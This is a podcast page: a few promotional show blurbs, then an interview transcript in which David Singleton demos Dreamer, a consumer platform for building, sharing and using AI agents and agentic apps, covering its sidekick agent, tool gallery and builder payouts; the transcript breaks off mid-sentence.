principle. The #1 tool to find startup ideas/trends - https://www.ideabrowser.com LCA helps Fortune 500s and fast-growing startups build their future - from Warner Music to Fortnite to Dropbox. We turn 'what if' into reality with AI, apps, and next-gen products https://latecheckout.agency/ The Vibe Marketer - Resources for people into vibe marketing/marketing with AI: https://www.thevibemarketer.com/ FIND ME ON SOCIAL X/Twitter: https://twitter.com/gregisenberg Instagram: https://instagram.com/gregisenberg/ LinkedIn: https://www.linkedin.com/in/gisenberg/
In the first hour of the show Dave and Json talked Kings, and Tiger Woods returning to the TGL.
The self-hosted app that turned Chris into a family Time Lord, then we iterate on a long-desired hardware hack.Sponsored By:Jupiter Party Annual Membership: Put your support on automatic with our annual plan, and get one month of membership for free!Managed Nebula: Meet Managed Nebula from Defined Networking. A decentralized VPN built on the open-source Nebula platform that we love.Support LINUX UnpluggedLinks:
For a limited time, Latent Spacenauts can skip the waitline to join Dreamer and also compete for a $10,000 cash prize for most useful tools for Dreamer! Thanks @dps!In 2024, David Singleton left Stripe and joined forces with Hugo Barra for a buzzy stealth startup named /dev/agents. This month they emerged out as Dreamer, a consumer-first platform to discover, build, and use AI agents and agentic apps, centered on a personal “Sidekick” that helps users customize experiences via natural language. Sidekick is nothing less than an “agent that builds agents”, with all the complexity that that entails:You've seen many many website builder, app builder, and even agent builder startups by now, but our favorite detail is the sheer amount of work that has gone into the “full stack” nature of the platform, including shipping their own SDK, logging, database, prompt management, serverless functions, and so on. Most platforms restrict the tech stack you can use just to get off the ground — Dreamer does it “right” by letting you push whatever arbitrary code you want to their VMs.Paying the BuildersOf course former leaders of Stripe and Android would not stop at just building the tools, but also building the ecosystem. Dreamer is deeply aware of the 4 sided network effect it has going on and is ready to fund all of it - from hiring Builders in Residence to awarding $10,000 cash prizes to the best tool builders for the Dreamer ecosystem.It's time to Dream!Full Video Episodeon youtube.Transcript[00:00:00] Meet Dreamer Purple[00:00:00] swyx: Okay, we're here in the studio with David Singleton. Welcome.[00:00:08] David Singleton: Hey, Wix. It's great to be here.[00:00:09] swyx: It's great to have you. Uh, we have very sympa that your company color is the same as Lean Spaces color.[00:00:15] David Singleton: That's right. Dreamer Purple.[00:00:17] swyx: It used to be Devrel agents, which I thought was very cool. It's like you call back to Devrel Payments.[00:00:22] David Singleton: Yeah.[00:00:22] swyx: And you were obviously CTO Stripe. And talk to me about just the origin or thinking process behind Dreamer. Yeah. And maybe, maybe start with like, what, what is Dreamer?[00:00:31] David Singleton: Yeah.[00:00:31] What Is Dreamer[00:00:31] David Singleton: So Dreamer is a new product, uh, which everyone can come and play with today. Um, it's a place where everyone, literally, everyone can discover, build, and enjoy and use AI agents and agenda apps.[00:00:45] And we really did design it for consumers, for folks who are not necessarily. Uh, have any kind of technical background. It's really aimed at everyone. I think often of my sister, she's very smart. She's not in the slightest bit technical. She has lots of problems in her life that [00:01:00] she would like to be able to have great software and intelligent software to solve.[00:01:04] But you know, even with the rise of tools like Cloud Code and so forth, she's got no way to get started. And Dreamer is a place where she can come in, grab some intelligent apps that other people in the community have built, start using them right away, and solve real problems in her life.[00:01:19] Sidekick And Waitlist[00:01:19] David Singleton: And at the core, we have a personal agent called the Sidekick.[00:01:24] Um, you can give your sidekick a name, you can give it its own personality, and it really helps you across your entire day, your life. It helps you use all of the agents on the platform, and it also helps you build anything you want. And we've been working in this for a little while. We recently launched in beta.[00:01:41] So anyone can go to dreamer.com, join the wait list. Um, and we have many, many, many people in the community now who are building really fun, really powerful, really useful. Agents and the agentic apps for themselves.[00:01:54] swyx: I think we're gonna go right into a demo. Yeah. I just wanna make an observation that, uh, you, you, [00:02:00] you put discover first before build.[00:02:02] Mm-hmm. But actually, at least for the engineers in the audience. ‘cause we are primarily engineers and you're primarily targeting consumers, right?[00:02:08] David Singleton: Yeah.[00:02:08] swyx: For engineers. Like, there's a huge full stack of stuff, which we're gonna dive into. Let's write. It's so impressive. I'm like, holy s**t, this, this is what I've always wanted.[00:02:16] Cool. Uh, so, so I think that's really good and I've, in some ways, I think given your background given, uh, Hugo's, is it Hugo? Hugo.[00:02:24] David Singleton: Hugo. Hugo Bar. Yeah.[00:02:25] swyx: Hugo, it's not surprising that you can basically kind of build an app store Yeah. For agents.[00:02:30] David Singleton: Yeah. So Hugo was my co-founder. Yeah. Um, Hugo and I met with our other co-founder Nicholas Checkoff in the very early days of Android at Google, where we were building Google's first mobile apps.[00:02:41] Uh, we then contributed to very core pieces of Android itself. And you're right, we were really excited about building two things. One, solving a bunch of problems. That this breakthrough technology here I'm talking about mobile needed to have solved in order to make it work for real people at scale. And then secondly, building this ecosystem, um, [00:03:00] of third party developers using the Play Store, um, and able to deliver way more value on the platform than we could have delivered on our own.[00:03:08] And we think about Dreamer in exactly the same way. So I was working at Stripe, as you mentioned, and we had the opportunity to put some of the very first AI agent systems in the world into production. And from the moment we did the first of those, I was just struck with a strong sense of conviction that this is breakthrough technology that's gonna change how all of us work with computers and phones and so forth, all of the, the technology in our lives, but.[00:03:34] There's a lot of problems to be solved, for real people to be able to make this approachable. Um, and it really is kind of a direct analog for what we were solving back in the early days of mobile apps at Google and, and Android. So it's, it's been fun to bring that to life.[00:03:47] swyx: Yeah. Uh, let's look at it.[00:03:48] David Singleton: Yeah, let's take a look.[00:03:49] Dashboard And Daily Briefing[00:03:49] David Singleton: So, uh, dreamer.com, this is our homepage. This is where you can come and, uh, watch some videos about what is here and sign up for the wait list. Once[00:03:57] swyx: you, I, I just wanna say for those listening, ‘cause we have a lot, you [00:04:00] know, switch to YouTube, look at the animations. So much care.[00:04:03] David Singleton: We, we really care about, uh, this product being fun.[00:04:07] Uh, and, and interesting to use. Obviously a lot of people are using it to do real important stuff. You can do real work, uh, here, uh, but also you can build fun things too. Once you get off of our wait list, you'll come into the product. The first thing that happens is you'll have a conversation with your side cake, which is this little friendly, uh, character here.[00:04:27] And psychic will seek to get to know you and understand you. What do you care about? And will help you discover and build your first AI agents or agentic apps. After that, you're, you're gonna have a dashboard. This is my dashboard. Everyone's is different. Um, you can see I have a few things here. I have a feed.[00:04:42] So a lot of our agents do things in the background when you're not looking and the feed is how they let you know what they've been up to. I have, uh, some widgets, uh, from apps that I have built. Uh, this one is called Calendar Hero. Uh, this is something that I installed from the gallery. Uh, so built by someone in our community.[00:04:59] It's a [00:05:00] really powerful calendar app because for each of my meetings, if it's with someone I don't already know, well it'll actually go off and research it, um, and give me both a history of my interactions with those people and also a bunch of, you know, public useful information to, to get started. One of the things I love about this particular app is that every day it generates a podcast, um, a daily briefing.[00:05:24] And one of the things that we've done with the platform is we've made it possible for all the things that agents do to show up in places that you care about. So if you look over here, this is the screen in my phone, and if I go ahead and open my Apple Podcasts, you can see right here. Your Daily briefing podcast is ready.[00:05:39] This was produced by an agent running in my Dreamer account, and it was very easy by scanning a QR code to connect it to my Apple podcast. That's what I listened to in the car now every morning. Yeah. On my way to work.[00:05:50] swyx: It, it[00:05:50] David Singleton: preps me for, for my day.[00:05:52] swyx: So one additional bit of context. I asked you immediately after seeing this was like, what, what about, I wanna talk back to my agent and you said you actually started with voice and then you went to [00:06:00] podcasts.[00:06:00] ‘cause it's nice to have it pre downloaded[00:06:02] David Singleton: that, right? That's right. Um, yeah, we, you, you can talk to your sidekick. So, you know, on mobile we have, uh, a dreamer app and you can talk to the sidekick right here. Um, but we've actually found that making things, uh, show up in the other apps that you already use in your life is incredibly powerful.[00:06:19] So let's take a look at what's kind of under the hood here.[00:06:21] Gallery Tools And Payouts[00:06:21] David Singleton: So I already mentioned that we have a gallery, so this is where you'll find a lot of agents from our community. Uh, there's. Many at this point, hundreds. And they are solving all kinds of, uh, use cases. I'd say the the top use cases are on personal productivity, but also a lot of information management that can range from personal information like docs and so forth, managing your emails.[00:06:42] It also ranges out to public information that you might be interested in, but you need something to help manage the, the kind of fire hose of stuff that's coming at you. For instance, I have, um, an agent which looks at all the AI news, um, all the time. There's a lot of it and it finds the stuff that I would actually be [00:07:00] interested in, um, and I find it incredibly useful.[00:07:03] So these are agents that you can install that other people have built. Anything that you install on Dreamer, you can actually just say, I wanna start making some changes, and we'll look at that in a second. But in natural language, with the sidekicks help, you can change any of these experiences to work just the way you want them.[00:07:18] But the base layer of the system are tools. So you know, as well as anyone swyx, that any AI system is only as good as the quality of data that it can pull in and the quality of action it can take. So before we launched our beta, we worked very hard to make sure that we seeded our tools with a bunch of very high quality and powerful integrations.[00:07:39] So, you know, for instance, this is real Google search, this is actual Gmail. Um, and you can do very useful things with those. But also this is a platform for everyone. And as we got started talking to people in our alpha community, a whole bunch of sports use cases popped out and we realized if you want to build something cool for sports with ai, you need really high quality live data.[00:07:58] So look at these [00:08:00] Formula one M-L-B-N-F-L, uh, these are tools, uh, that we've built. We've done a, these are not data scraped off the web. This is a, a direct data feed integration. And because it's live and ‘cause it's high quality, you can build really powerful stuff. But tools is not something that we are just going to kind of control ourselves.[00:08:19] The platform is open for tool Builders to contribute tools that anyone on Dreamer can use. So, um, this is actually the place in the platform where I think software engineers, um, well number one, would love for you to come and play with it. Uh, but software engineers are really gonna build, um, a lot of powerful stuff into the system.[00:08:38] And we are actually sharing something for the first time on this podcast, which there is, uh, tool builders on Dreamer get paid. So if you publish a tool to the platform and a lot of agents use it, you'll actually get paid, uh, in proportion to their usage. And we'd love for folks to come and give this a try.[00:08:54] We've got good docs that help you get started and you can build things that, you know, scratch your own itch. For instance, someone built this [00:09:00] Ski Bum tool, which provides live snow conditions for a bunch of, uh, ski resorts. I'd love to show you how I've used that in a second. And also we have some tools, partners where the tools themselves are paper use.[00:09:12] So for instance, parallel web systems is a premium tool. Uh, you can do really cool stuff with it. Um, it's a a, an agentic web research tool. And that one, because it's expensive to operate, is paid on a, on a per usage basis. But if you're coming in to build agents on the platform, even the premium tools, you get a free trial.[00:09:29] So you get a chance to actually try them out, make sure that the use case is good for you before you decide to, to to sign up. So that's tools. So we have the gallery, we have tools, and then the sidekick helps us put all of this together to build agents. We do that in the agents studio. You can also do this on your phone, but if I open up Agent Studio here on Desktop psychic's, just gonna start a conversation about what you want to build together.[00:09:51] I'd love to show you one that I made recently.[00:09:53] swyx: Let's do[00:09:53] David Singleton: it.[00:09:53] Building A Conference App[00:09:53] David Singleton: Um, let's look at something that hopefully is kind of near and dear to your heart. So one of the things I love about Dreamer and this kind of moment in technology is that if you think about it. There are all these things in your life where, have you ever gone to a conference?[00:10:09] I know you have. Right? And, uh, big conferences have apps. Um, and these apps are usually built by agencies and they're, they're usually actually quite expensive to build. I've been involved in running some of these myself. And how many conferences have you been to where the app was good? Zero. Honestly.[00:10:23] swyx: Exactly. Zero,[00:10:24] David Singleton: maybe one. I, I've, I've been to one conference. That was pretty good. Wait, wait session sessions. Um, but, but the point is, they're rarely great pieces of software. Right. And they're also expensive to build, but they're, they're interesting ‘cause they're episodic, they last for this one thing. Um, and then they're, they're not relevant anymore.[00:10:43] Um,[00:10:43] swyx: and so it's the worst feeling to invest in them because, you know, it's like, it's got a limited. Date?[00:10:48] David Singleton: Absolutely. So I decided to build, uh, a conference app for your AI engineer conference. Amazing. Uh, on Dreamer. One of the things that Swix has done, uh, which I [00:11:00] thought was very forward-looking, is actually put a whole bunch of data about the conference on the webpage in an LLM readable way.[00:11:06] There's an LLMs txt file, there's a feed of all of the sessions in js, ON. So I used the data from your conference last year and built this intelligent app, uh, just by talking to our sidekick, uh, in Dreamer. So just to give you a quick tour, this is my Dream Conference app. What I always wanna do for conferences is I wanna be able to search for speakers.[00:11:28] I'm usually there because, uh, there, uh, is a speaker I care about. So, you know, SWIX, you're the speaker I care about. I can actually see here who you're on stage with. So here's, here's Greg Brockman. You've read even ai, uh, and this is his session. And look Greg and Swix for the speaker. So let's add that to my schedule.[00:11:45] Great. And then maybe there's a couple others I might see here. Like on day two, I remember there were some keynotes. So, uh, building the open agenda web, that sounds fun. So I add that to my schedule.[00:11:55] swyx: She's now CEO of Xbox.[00:11:56] David Singleton: Awesome.[00:11:57] swyx: Which is interesting. So cool. So,[00:11:59] David Singleton: so I've [00:12:00] gone through and picked out a couple of sessions that I cared about.[00:12:03] That's as far as I usually get with any conference app. But of course you've got the whole of the rest of the conference to figure out what to do. So here is where the native intelligence of, of these things you build on Dreamer can come in. So I'm gonna click guide me. So Dreamers sidekick actually parsed out the whole schedule and figured out what some of the themes are and I can choose what I'm interested in here.[00:12:23] I'm definitely interested in agents. Uh, I'm definitely interested in code generation and also reasoning in rl. So now I'm gonna say build my schedule. So what this is doing is. It's going across every time slot for the conference. And it's choosing among the things I could go to, which one it thinks is best for me based on my interests.[00:12:41] It also uses its own memory of me that's part of Dreamer, uh, to understand what I might like best. And you know, there's an LLM prompt running for each one of these time slots. So this is, it's not super fast, but it'll be done in about 30 or 40 seconds. And I'm gonna have a special custom schedule for the conference.[00:12:57] This, like I said, is my [00:13:00] dream conference app is exactly what I've always wanted and I was able to build this yesterday morning. Um, I did it between some meetings. I think I spent a total of 25 minutes of wall clock time on it. I did it over the course of a couple of hours. And, uh, here is my schedule for the conference.[00:13:15] I can see it in a calendar view. This is what I should do on Tuesday, this is what I should do on Wednesday. Oof, no conflicts, but, you know, I may not go to every single thing. And there you have it built in, you know, dreamer. So let's take a look at what the building experience actually looks like. So this is the, the actual account that I made it on.[00:13:32] Oh, of course I should say anything you build on Dreamer also works on your phone. So, uh, here is my AI engineer conference app right here on my phone. Got all the same functionality, and of course this is the best place to jump into my schedule.[00:13:46] swyx: Yeah.[00:13:46] David Singleton: Um,[00:13:46] swyx: so you could generate a podcast about it just completely multimodal, absolute thing, right?[00:13:51] To me, I mean, this is why I outsource, I mean, well, I, I posted the L-M-T-X-T, the JSON because you cannot run an engineer conference in 2025 [00:14:00] and not let engineers. Do whatever they want.[00:14:02] David Singleton: Yeah.[00:14:03] swyx: And since all conference apps suck, I'm just gonna put up a ba minimum viable app and just let people do whatever they want.[00:14:09] David Singleton: Totally. And the cool thing about this on Bremer is I published this to the gallery and you can use it so you've got one that's built to my taste of conference apps. I think it's pretty cool. But you might want something different. Yeah. In which case you just start telling the sidekick how to change it.[00:14:23] So let's just very quickly look[00:14:24] swyx: at our, what sports grid is also, you can fork it, right? That I can publish. That's right. I can publish your one and go, this is the base starter. It's, it's got good defaults, but go customize, whatever.[00:14:32] David Singleton: That's right. That's right.[00:14:33] swyx: Yeah.[00:14:33] Agent Studio Under The Hood[00:14:33] David Singleton: So let's take a look at how I actually built this.[00:14:34] This is real. So I'm gonna say make changes. This experience we're looking at now is our, uh, agent development studio. Um, like I said, you can do this on your phone as well. And in fact, this one I started out on desktop. Let's look at my actual prompts. I said, let's make an agent called AI Engineer Schedule Planner should be a custom schedule planner for the AI engineer conference.[00:14:53] I'm not gonna read this all up. You get, you get the point and it told it where to get the data from. So that was the first prompt. And actually after I gave it that [00:15:00] prompt, I actually had a simple version of this app working, um, after the sidekick took one turn. So the Sidekick is a, like a professional software engineer, and we've worked very hard to make this work and build functional apps for folks that might not have any engineering experience whatsoever.[00:15:14] So, you know, done here we have build logs that are technical, but you can hide those away. And sidekick, as it is building, will actually translate everything that is coming out of, uh, of the, the harness into English that you can actually read. And by the way, this English is in the personality of your sidekick, which is fun.[00:15:32] Um. And the way that we build agents and agent apps, it's a little different to what you might have seen in some other platforms for a couple of reasons. One, just the build process. The very first thing that Sidekick does, it understands all the agents you've got set up. It understands all the tools and it will come up with a plan for how to realize your goal, how to make sure it actually has the data and the capabilities to complete it.[00:15:54] It will occasionally refuse. If it can't do what you're asking, it will tell you I can't do that. It needs another tool. And that's a good [00:16:00] jumping off point for any of the tool builders out there to build a new tool. So it'll fi first figure out how, then it will build it, and then it will actually test it.[00:16:07] So it will actually make sure that the thing that it has generated is realizing your goal. And you probably know as well as anybody that anytime you can get any. Modern state-of-the-art coding model into a loop where it can make changes and perceive its own output and then fix bugs. Magic happens. So these builds, the first build will often take 10 to 15 minutes on Dreamer, which is a little bit longer than you might've seen on some other platforms.[00:16:31] But the first thing that it creates will work most of the time. And then of course, as you start making smaller changes, you can like ask it to tweak the UI in any way that you like. Those are much faster. And just to give you a sense, uh, for this one, here's something I asked. Put a logo, I gave it a logo file in static files.[00:16:48] Use that as the title. So for folks that actually really want to dig, uh, into a bit more detail, we've provided a powerful IDE here. So I can actually see here's the code that was generated and some pieces of the [00:17:00] code are more accessible than others, like the prompts. So this is the prompt that's used by a powerful LLM in order to do that schedule picking.[00:17:08] And I can actually read it here directly. I can edit it without having to ask the sidekick if I want to do that.[00:17:12] swyx: So this is very nice.[00:17:13] David Singleton: This is for the more, the more, uh, sophisticated users.[00:17:16] swyx: Yeah. This is other people's entire startup is prop management.[00:17:21] David Singleton: This is true. The other thing that is different about Dreamer is once you've built something here, it's ready to go.[00:17:28] We host it. So you don't have to worry about getting a database from a database provider signing up, getting API keys. You don't have to worry about your LLM provider tokens. All of that is hosted on the platform. And you can use it yourself. You can share it to the gallery for other people to, to riff on it.[00:17:46] You can also share it with your friends and coworkers to use your instance of the agent or agentic app. And we're seeing that happen a lot in our community. We've seen a whole bunch of folks who built little applications for their personal life [00:18:00] and shared them with their significant other. We've seen people who are building little productivity apps for their team at work and sharing it, uh, among them.[00:18:07] And we actually do this a lot inside of the company. So at this point we, we pretty much run the company on Dreamer agents for all kinds of important things. Uh, maybe a good example of that is, um, our wait list. People are signing up every time someone signs up for our wait list. A dreamer agent will actually research, uh, that person.[00:18:25] And we're looking for folks who are builders, not super technical to build agents and come in, uh, and give us a lot of feedback and we're prioritized bringing those people off of the wait list First,[00:18:35] swyx: just a quick question on that one is there's, it may not come up again. Do you find enrichment APIs to be useful like the ZoomInfo?[00:18:42] Uh, clear bit[00:18:43] David Singleton: enrichment is a very, uh, common use case. Um, on dreamer. Any application on Dreamer can kick off a sub-agent to do a particular task. Um, so this actually is a powerful agentic harness that runs inside of its own [00:19:00] vm. Uh, we call them sidekick tasks ‘cause they actually run in the context of the sidekick.[00:19:04] I'll talk more about Sidekick in a second and. Enrichment is a very common use case. And the cool thing about a sidekick task is that it has access to all the tools on the platform, but also public data as well. And so very frequently enrichment on our platform happens using public data that it can be found in the web.[00:19:24] There are some tools for getting people data, uh, from, uh, from various bespoke systems. And so that works pretty well. But actually, you'd be surprised. I mean, we would love if someone out there would like to build a ZoomInfo tool, we don't have one today. We'd love to see that on the platform, and I'm sure it'll be very powerful.[00:19:39] But we're also seeing that this powerful agent harness can pull a lot of data in on that note of tools that make experiences better, we're constantly adding more tools because people in the community are building them and publishing them. We review the tools carefully and then they go live for everybody.[00:19:54] Yesterday we added granola. And that was pretty cool. So I was talking to actually, uh, Sarah on my team was [00:20:00] talking to, uh, someone building on the platform this morning and they actually, they have an agentic app that they built, which is a kind of magic to-do list. So they put stuff on their to-do list and for each thing it kicks off one of these, uh, sidekick tasks to figure out how to move the ball forward thing.[00:20:14] Sometimes it'll complete it[00:20:15] swyx: entirely. Yeah.[00:20:16] David Singleton: Often by calling another agent on the platform and sometimes it just kind of researches it and helps ‘em take the first step.[00:20:21] swyx: Yeah. Do you know, this is Sam Altman's number one, ask for an AI app. It's the self-completing to-do list.[00:20:26] David Singleton: Yeah. The self-completing to-do list is something that a lot of people have built on Dreamer and are getting a lot of use out of.[00:20:32] Yeah. And, and finding it actually genuinely I shouldn't, I should, I should try that. Mm-hmm. Please do. And you'll even find some in the gallery that you can remix. So he was saying this morning that he's, he built this self completing to-do list, uh, on Dreamer already. But he connected the granola tool yesterday and now something really magical happens, which is when he says in meetings that he's gonna do a thing, it magically shows up on his to-do list and then it can magically get completed.[00:20:56] And then, as I mentioned, all the agents, all the [00:21:00] apps on Dreamer can actually work together. So our coding agent, as it builds them, does something very special where it exposes the internals of each of the experiences to the system. And then Sidekick can manipulate those to get stuff done. So he has built another agent, which he uses for recruiting.[00:21:18] It kind of keeps track of candidates and also it's got a kinda mini CRM function, so he's able to introduce candidates to each other. He told us this morning that something he'd committed to do in a meeting that was recorded on granola yesterday showed up in his magic to-do list and his magic to-do list.[00:21:34] It was like introduce a person for recruiting, used his recruiting agent to get it done.[00:21:39] swyx: Ah,[00:21:39] David Singleton: um, and this is, this is the dream. This is why we started the company. It really is the case that you can build and use these very powerful, bespoke experiences that can automate your life by working together. And I'd love to talk a little bit about how they work together.[00:21:55] Ecosystem Trust And Monetization[00:21:55] David Singleton: So obviously it's really cool to have [00:22:00] software that will work on your behalf, but it's only useful if you can trust it, right? So privacy and security is very important to us making these things accessible and. While also being trustworthy is hard. So the model that we have, which is working very well, is that the sidekick is at the core of everything here.[00:22:22] So it is both your companion, your helper, but it's also the traffic cup in the system. So when, when one agent wants to work with another agent and dreamer, it doesn't do it directly, it does it via the sidekick, well ask the sidekick to do the thing. And the sidekick understands both everything, all the expectations that have been set with me as a user about what agents can do, which tools I've given them permission to use.[00:22:45] And it will make sure that whatever is is going on is actually aligned with my own interests. And you know, that's part of the background that I bring to this problem domain. I've. Worked for years, uh, keeping very important information, safe and secure. And [00:23:00] so as we started to think about this problem, we realized that we actually had to build something that's a bit like an operating system.[00:23:06] You know, the sidekicks, like the kernel, the agents and apps are like users. Yeah. Different rings. Exactly. Because if you try to pick off just one piece of this, you can't actually make it work for people at scale. Uh, because you could build little vibe coded apps, but they're gonna grab all your data willy-nilly.[00:23:23] They won't be able to work together. You actually have to invest in the fundamental core in order to make it work well for people. And that's what we've been doing and it's, uh, it's been a lot of fun. One other thing I wanted to mention is, um, I've obviously talked about two things, tools and agentic apps.[00:23:42] We really designed Dreamer to be an ecosystem and a platform, and one of my favorite quotes about platforms, I think it's from Bill Gates, is that you can only be a platform. If you create more value for the folks participating and using the platform than, than the platform itself creates. [00:24:00] And that's our goal here.[00:24:01] So we at every step have been thinking about how do we make sure that other people are deriving even more value from Dreamer than we are? So in that vein, I already mentioned tool builders get paid and people can build agents that solve their needs and share them with others, and we are already thinking about ways that they can actually monetize those as well.[00:24:24] Against that backdrop, one of the things that we are launching today is our Builders in Residence program. So there are tons of people building really cool stuff and contributing it to the gallery already, but we've been really inspired by programs we've seen at other companies where artists might be in residence, people that are very creative.[00:24:43] And might have ideas outside of what the, the folks at the company or in the ecosystem already have. And so we are looking for creative people who have fun ideas and, you know, want to really figure out how to apply their creativity at the cutting edge [00:25:00] of technology today to come and work with us. So, uh, if you go to dreamer.com/latent space, you'll find, ooh, well, we love Latent space.[00:25:09] Uh, you'll find a link both to, uh, our tool Builder information and our builder in residence program. And for builders and residents, we'll let you in off the wait list quickly, build an agent, and then for a small number of, of the most creative folks, we're going to pay you to build agents. Uh, you can work directly with our team.[00:25:29] You know, this is like building Legos. So, you know, we've got some of the basic blocks together already, but if you need a Ron steering wheel and we don't have one already, like we'll build it for you. Yeah. Um, we really want to be inspired by, by these, uh, these builders in residence.[00:25:43] swyx: This Legos thing is pretty common as an analogy.[00:25:46] And there's a, there's a thing I call the master builder. Uh, we, the actual Lego company has master builders that they employ Yeah. To inspire people and post on socials.[00:25:56] David Singleton: That is exactly what inspired us as well. Honestly, we talked about the Lego Master [00:26:00] Builder program, so that's our builder in residence program.[00:26:02] swyx: Yeah.[00:26:03] David Singleton: Um, and then, uh, finally back on, on tools. Like I said, anyone can come in and build tools today. If you follow the latent space link dreamer.com/latent space, again, we'll get you off. Directly off the wait list. So you can build right away, you can monetize by publishing onto the platform. That's for everyone, the very best tool that gets added to the platform by mid-April.[00:26:23] Uh, we have a $10,000 prize that we want to give out really, because we just want to seed the creativity of everyone out there. So we're excited to do that.[00:26:31] swyx: Yeah. And you know, uh, this is completely a flywheel, right? Like the more tools, the more builders, the more the third thing agents, you know, it just feeds into each other.[00:26:39] David Singleton: That's right.[00:26:39] swyx: Yeah. Just on the payments thing, because we probably won't touch on that again, but I have to ask the former CTO Stripe on payments as presumably you're using Stripe Connect.[00:26:48] David Singleton: Yeah.[00:26:48] swyx: Um. Any pain points that you're, people are very interested in agent commerce and micropayment and all these things.[00:26:55] Presumably stable coins get into a conversation at some point, but maybe not now.[00:26:58] David Singleton: Yeah, we are [00:27:00] really, really excited about e agent commerce. The first step we are taking is help people in the world who have never been able to build these kind of experiences and software before to build stuff that meets their passions, share it with the world and get paid.[00:27:14] So that's all commerce that happens on our platform, and so we don't need anything new to facilitate that. Stripe Connect has existed for quite a while and is the perfect solution for this kind of stuff, so, um, we we're excited about that. First and foremost, however. A lot of the things that people are already doing on Dreamer, we just talked about a self-completing to-do list.[00:27:34] A lot of the ways that you want to complete to-dos is by actually closing the loop in the real world, and that's going to involve the exchange of value. So we have some folks that are building tools already that actually do have money move in order to, to complete that, that loop. So far, we just want to be open and agnostic to all the protocols out there.[00:27:54] I honestly think this moment in time is a little bit like the early web. So I personally started coding as a kid [00:28:00] and I think I got access to the internet in about 19 95, 19 96. And back then, uh, the web existed, you know, HTTP was a protocol, but there were also other protocols I was using all the time, like Gopher and UUCP and uh, various others.[00:28:15] So the point is like the web, HTTP and HTML. Was just one among many protocols. And of course it became the winner and it's awesome. Yeah. Um, but the others were also kind of interesting and viable at the time as well. And I think the world of agentic commerce is like this right now. Also,[00:28:30] swyx: acp.[00:28:31] David Singleton: Acp, exactly.[00:28:32] All the, all the cps, you know, on Dreamer. We hope that folks will build tools that kinda make use of all of these things, but I'm sure that at a certain point. One or two will emerge as the winners, and then we'll be able to build like really deep support in,[00:28:44] swyx: yeah. This is like maybe a complete tangent, but I do think about how a lot of these companies in AI companies in particular have to switch from c based to usage based because of course, but then, then they end up, end up having to sort of [00:29:00] obscure the margins a little bit and then they inventing end up inventing their equivalent of rob robots.[00:29:04] David Singleton: Mm-hmm.[00:29:04] swyx: Uh, where they're like, well, okay, well every company should have their own currency. And it's, it's like very short lead to a token.[00:29:11] David Singleton: Yeah.[00:29:11] swyx: Or, and I'm like, okay, well where does this end? I can't really play out the next step as to like, is this chaos? Is this,[00:29:18] David Singleton: yeah.[00:29:18] swyx: Okay.[00:29:18] David Singleton: Well, I think it is kind of like the wild west.[00:29:21] I don't mean that in a completely, it's all completely disorganized way, but there's just so many things that could happen from here. The Overton window is very wide, right? Not far how this might land. And I'm just very excited to be building a platform that can take advantage of all of those opportunities and we're just gonna be there.[00:29:36] Uh, working for our users to make sure that things that emerge work,[00:29:39] swyx: you're gonna own the consumers, you're gonna be up the OS for the app store for everything.[00:29:43] David Singleton: So one of the ways to think about this is, um, dreamer actually uses all of the state-of-the-art models as a user. You don't have to think about should I be using, you know, Opus four six, or should I be using the five four model from [00:30:00] OpenAI?[00:30:00] We are continually doing evals and so forth to make sure that the best things are there for you. You can just build on the platform and know that as the world ships around, you're gonna get the right stuff for you. Um, and I think that's something that is needed to actually have folks take advantage of this technology at scale.[00:30:19] I'd love to show you another example of something I built.[00:30:21] swyx: Let's do it.[00:30:22] David Singleton: This is another example of software that just lasts for a certain moment in time. So recently I went on a ski trip with a bunch of friends,[00:30:31] ski[00:30:31] David Singleton: Bum. Uh, so it uses ski bum. Yes. I went on a ski trip to Big Sky. I'd never been there before.[00:30:38] And I made this little intelligent app for us. And you can see it says it's loading big sky conditions. So it's actually calling the Ski Bum tool that I just showed you, which is, uh, published in our, uh, in our gallery. So what is this? This is a little app that was just for our weekend trip. It shows the current status of all the lifts of Big Sky.[00:30:54] Using that tool from the ecosystem, it shows the forecast for the upcoming weekend. It shows our [00:31:00] accommodation. This is just like where my group was staying. This is just for us and also a bunch of dining information that one of our friends, uh, put together who, who's an expert on Big Sky. So I was able to take this app, share the link with my friends.[00:31:12] They weren't on Dreamer yet, just send it to them on iMessage and they get a version they can use on their phone. And of course, here's the real kicker. So I've been on ski trips before and other weekend adventures with my friends. Yeah, people pay for different things and at the end of the weekend it's always a pain to figure out who needs to pay, who to settle up.[00:31:29] So we use this during the weekend. We added all of our expenses in here. Uh, too close are it's drill data. It's only too closely. And then at the end of the trip, we press split. And we're, we settled up and we're done. So there's another dreamer. This was all through dreamer. So the, the actual payment? No, no.[00:31:47] We, it happened because, because we paid for stuff in the real world, it was like, okay, this person needs to pay that person 20 bucks. Right? Right. This person already paid in that. Right. So it just helped us all settle up. We didn't move the money on Dreamer. You could do that. And in fact, if you're a tool builder [00:32:00] thinking about this and getting excited, like come build a tool to do that stuff.[00:32:02] We really think of our tool builders as design partners.[00:32:05] swyx: Yeah. I got, I got the tool. Uh, what, like, I hate, I use Bank of America. I hate bank, I hate the app. Mm-hmm. I hate the web. All banking websites just horrible.[00:32:13] David Singleton: Yeah.[00:32:13] swyx: So just build me, like build a thing on top of Plaid.[00:32:15] David Singleton: Yeah. Right. And then just So[00:32:17] swyx: five code by banking app,[00:32:18] David Singleton: there's already a tool for that.[00:32:20] Oh. So, um, attain Finance is a tool, a builder in our community built. Okay. Um, and it uses a secure system like Plaid. To access your, uh, financial data and you can build powerful personal finance agents on Dreamer today using this tool. And like I said, we review tools carefully. So when bringing Attain Finance onto the platform, we did actually quite a detailed security review with that company to make sure that if folks build stuff with it, it's, it's gonna work well.[00:32:49] So yeah, check that out. I think, uh, I'm, I'm pretty certain it connects to Bank of America. So you'll be able to build the, the app that you wanted already?[00:32:55] swyx: Yeah. There's a couple of points I wanted to sort of dive in on, maybe highlight to folks, [00:33:00] because I, obviously, I spent more time with Dreamers. So we're making a point where you choose on behalf of your users because they're meant to be consumers.[00:33:07] So maybe less technical,[00:33:08] David Singleton: right?[00:33:08] swyx: But obviously people can, how users can override. If you read that's, but it's not just lms, it is also the, the transcription. It, it's like all, like there's, there's a first party curated set of here's the house opinion. That's right. On what?[00:33:21] David Singleton: That's[00:33:21] swyx: right. The thing is, that's right.[00:33:22] Is what's the list? Is there like,[00:33:24] David Singleton: yeah, so actually if you look in the tool gallery, the first party kind of curated set are all the ones that have these grayscale icons. So we have a built in tool for image understanding, for image generation, for RSS, exploration, text to speech and so forth.[00:33:38] swyx: Recipes.[00:33:39] David Singleton: Uh, we actually do have a built in recipes tool.[00:33:41] It turns out that a lot of 